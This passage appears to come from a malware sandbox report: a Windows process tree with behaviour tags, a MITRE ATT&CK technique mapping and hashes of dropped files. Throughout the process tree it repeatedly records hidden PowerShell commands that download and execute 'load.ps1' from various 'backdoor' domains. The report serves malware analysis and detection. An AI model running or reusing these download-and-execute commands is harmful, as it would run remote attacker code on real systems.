                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                    PID:3308
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                    PID:2184
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                    PID:6004
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                    PID:7056
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4232
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                      PID:1036
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                      PID:6012
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:5888
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                        PID:6860
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2040
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                          PID:2944
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.doyanslot.us/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1716
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                            PID:3008
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                            PID:1884
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:3108
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                              PID:6160
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:7700
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:7988
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                PID:5484
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3876
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                  PID:7740
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                  PID:7456
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                  PID:7244
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                  PID:4452
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4728
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2420
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5696
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                        PID:8116
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                        PID:7652
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5940
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                          PID:6416
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                                                                                                                                                                                                                                          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Badlisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                          PID:4256
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://backdoor.way2ship.in/malware/load.ps1")"
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                          PID:1040
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                          PID:4796
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://skuy88.com/malware/load.ps1')"
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4400
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                            PID:6828
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://skuy88.com/malware/load.ps1")"
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                            PID:6304

                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                Resource Development

                                                                                                                                                                                                                                                                                                                                                                                Initial Access

                                                                                                                                                                                                                                                                                                                                                                                Execution

                                                                                                                                                                                                                                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1059

                                                                                                                                                                                                                                                                                                                                                                                PowerShell

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1059.001

                                                                                                                                                                                                                                                                                                                                                                                Windows Command Shell

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1059.003

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1547.004

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1037

                                                                                                                                                                                                                                                                                                                                                                                Logon Script (Windows)

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1037.001

                                                                                                                                                                                                                                                                                                                                                                                Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1546

                                                                                                                                                                                                                                                                                                                                                                                Image File Execution Options Injection

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1546.012

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1547.004

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1037

                                                                                                                                                                                                                                                                                                                                                                                Logon Script (Windows)

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1037.001

                                                                                                                                                                                                                                                                                                                                                                                Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1546

                                                                                                                                                                                                                                                                                                                                                                                Image File Execution Options Injection

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1546.012

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                3
                                                                                                                                                                                                                                                                                                                                                                                T1112

                                                                                                                                                                                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                                                                                                                                                                                System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1016

                                                                                                                                                                                                                                                                                                                                                                                Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                                                                                                                                                                                Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                Impact

                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 2KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                • Size 53KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 51fac1c0fbf93f89a6cd041178e1526f670af9b89e02a0e7d05da711365d2655
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5c49bcb872a27280dbd7551b39f524cd598cb7fa6e8ed0088ca43943a9e38f61
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5b673df18c339b93bd10baad94e1f8efd51eed0b205053a1b813cbdd4efa9168
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c97149dab3072de77ceb9fb69a793cb95ace7162fc49982c9d406a285ed19787
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 538eb8d025ef1ec2ef3e8464c0c422f0707e3f44d77eeba7d22dc4197440f7a5
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a3b1ee0d094519044f5d2a29077b052436748717b4e86e6c573f19f1dead9a34
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

